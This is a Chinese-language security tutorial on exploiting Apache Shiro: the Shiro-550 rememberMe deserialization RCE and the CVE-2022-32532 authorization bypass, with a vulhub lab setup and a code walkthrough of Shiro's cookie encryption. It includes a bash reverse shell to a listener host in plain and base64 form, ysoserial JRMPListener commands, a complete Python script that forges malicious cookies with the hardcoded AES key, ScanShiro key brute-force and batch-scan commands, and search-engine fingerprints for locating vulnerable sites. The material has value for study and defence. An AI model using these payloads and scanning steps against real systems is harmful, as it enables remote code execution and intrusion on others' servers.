前言
shiro反序列化漏洞这个从 shiro 550 开始,在2016年就爆出来, 但是到现在 在各种攻防演练和面试中也起到了显著作用
这个漏洞一直都很好用,特别是一些红蓝对抗HW的下边界突破很好用
Shiro简介
Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能
影响版本
Apache Shiro < 1.2.4
漏洞概叙
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
shiro默认使用了CookieRememberMeManager,shiro处理cookie流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
payload构造顺序则是反正来的
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
漏洞简单介绍利用
通过在cookie的rememberMe字段中插入恶意payload,
触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。
shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==
由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题
流量层面分析shiro反序列化漏洞是否攻击成功?
攻击失败
在HTTP请求头Cookie里出现rememberMe字段,响应体会有deleteMe。状态码405
攻击成功
在HTTP请求头Cookie里rememberMe字段,响应体不存在deleteMe。会存在一段base64加密的字段,解码后就是攻击者的回显内容。状态码为200
base解码内容
shiro550-shiro721区别
这俩个洞主要区别在于shiro550使用已知密钥碰撞,只要足够的密钥库,不需要Remember Cookie
shiro721的加密key基本猜不到,系统随机生成,可以使用登陆后的rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击
接下来开始实操重点讲一下shiro550的利用
环境搭建
kali换源
进入这个配置文件下,添加阿里源vim /etc/apt/sources.list
为什么要换源?换源是因为kali官方源都是国外的速度慢,而且失败概率高,更新速度就十几k 容易脑溢血。使用阿里、网易、科大的源下载速度飞快
换源后依次执行以下命令
apt-get update 更新索引
apt-get upgrade 更新软件
apt-get dist-upgrade 升级
apt-get clean 删除缓存包
apt-get autoclean 删除未安装的deb包
安装docker
apt-get install docker.io
安装docker-compose
apt-get install docker-compose
安装vulhub镜像
git clone https://github.com/vulhub/vulhub.gi
启动环境
cd /opt/vulhub-master/shiro/CVE-2016-4437
docker-compose up 即可启动
Shiro-550反序列漏洞
shiro漏洞探测
使用shiro漏洞利用工具,爆破密钥--爆破利用链
成功之后命令执行
手工测试
GitHub下载ysoserial利用工具,下载完进行解压缩进入进入到这个目录下(下载jar包,不需要编译可以直接使用,节省很多时间)
cmd打开这个jar包
java -jar ysoserial.jar 使用成功证明可以正常使用
构造反弹shell
反弹shell命令并进行加密,网站:https://r0yanx.com/tools/java_exec_encode/
bash -i >& /dev/tcp/192.168.0.34/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
将反弹shell替换成以下方法中
ysoserial工具使用
利用ysoserial中的JRMP监听模块,监听9999端口并且执行反弹shell命令
9999为监听JRMP模块(ysoserial内置模块)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
构造cookie内容生成payload
python shiro.py 192.168.0.34:9999 端口号为JRMP
shiro.py脚本内容如下 python文件得和JRMP在同一个文件下 第8行代码中必须找的到对应文件名
java', '-jar', 'ysoserial.jar', 'JRMPClient', command
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
报错解决
pip uninstall crypto pycryptodome (删除已有的pycryptodome)
pip install pycryptodome -i https://pypi.douban.com/simple (添加豆瓣源加速)
反弹shell
监听nc
nc- lvvp8888
登录抓取流量包,点勾选Remember me
不知道为什么nc没有反弹成功,但JRMP是有回显 成功利用
漏洞分析
我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了
我们跟进去相关位置去看看Cookie的加密过程
在IDEA里 全局搜索 Cookie
shiro加密过程分析
shiro加密流程图
shiro解密流程图
入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法
这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看
这里会经一个 isRememberMe(token) 的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()方法
F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember(),作用就是获取用户名赋值给 principals
再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals)
进入 convertPrincipalsToBytes() 方法,我们来看一下这个方法
它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密
跟进 看一下序列化的代码:
再跟进看一下 encrypt() 方法
调用了 this.getCipherService()方法 返回了一种 AES 的加密方式CBC
所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥
再次跟进 getEncryptionCipherKey() 看一下AES加密的密钥是怎么生成的
一步步往上找
再找一下哪里定义的 encryptionCipherKey
再往上找哪里调用了 setEncryptionCipherKey()方法,找到了setCipherkey()方法
AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方
这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量
base64解密即可得到密钥
后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt 进行AES加密
返回加密的序列化字节流 到rememberIdentity()方法
下一步调用rememberSerializedIdentity()方法:
进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段
这就是我们前面勾选rememberme的话,rememberMe字段的由来
shiro解密过程
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点
追溯到 AbstractRememberMeManager.convertBytesToPrincipals()
再追溯一下哪里调用了 convertBytesToPrincipals()方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals
从DefaultSecurityManager.getRememberedIdentity()开始分析
跟进 getRememberedPrincipals()方法
调用了 getRememberedSerializedIdentity() 方法
跟进重点看此方法
主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes
然后回到getRememberedPrincipals()方法,bytes不为null,因此调用 convertBytesToPrincipals()方法
调用decrypt进行解密,然后返回 deserialize(bytes); decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看
跟进 deserialize()方法 这里会调用 getSerializer().deserialize() 对我们 base64解密-AES解密后的rememberMe的值进行反序列化
跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize()
调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用
Apache Shiro 授权绕过漏洞(CVE-2022-32532)
Apache官方披露Apache Shiro权限绕过漏洞(CVE-2022-32532),当Apache Shiro中使用RegexRequestMatcher进行权限配置,且正则表达式中携带"."时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效。
影响版本
Apache Shiro < 1.9.1
漏洞原理
根据java正则表达式的特点,在正则表达式中元字符.是匹配除换行符之外的任何单个字符。
新增Pattern.DOTALL模式后,正则表达式.就可以匹配任何字符包括换行符。
在shiro-core-1.9.0.jar中存在一个RegExPatternMatcher类,提供请求路径匹配功能及拦截器参数解析的功能。这个类的Pattern存在带.的正则表达式匹配,如果存在/n或/r字符时,就会判断错误。
环境搭建
直接使用vulfocus
输入靶机地址访问
漏洞复现
使用%0进行权限绕过
添加token也可以绕过
最后推荐几个非常好用的工具
shiro综合利用工具
这个是图形化界面,对于新手很方便
scanshiro
可以用于批量扫码,爆破
暴力破解key
java -jar ScanShiro.jar -u http://0.0.0.0 -k key.txt
批量暴力破解key
java -jar ScanShiro.jar -f url.txt -k key.txt
根据正确的key生成payload 适合在有key无gadgets的情况下
java -jar ScanShiro.jar -p payload.ser -c kPH+bIxk5D2deZiIxcaaaA==
-n 参数是值修改shiro中cookie的名字少部分环境存在,默认是rememberMe
-proxy 参数是代理 目前只支持socks5代理并且没有用户名密码
支持 -bypass 1
发送数据的请求方法
burp插件工具
shiro空间测绘特征
fofa:header="deleteMe"
钟馗之眼:header="deleteMe"
鹰图:header="deleteMe"
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)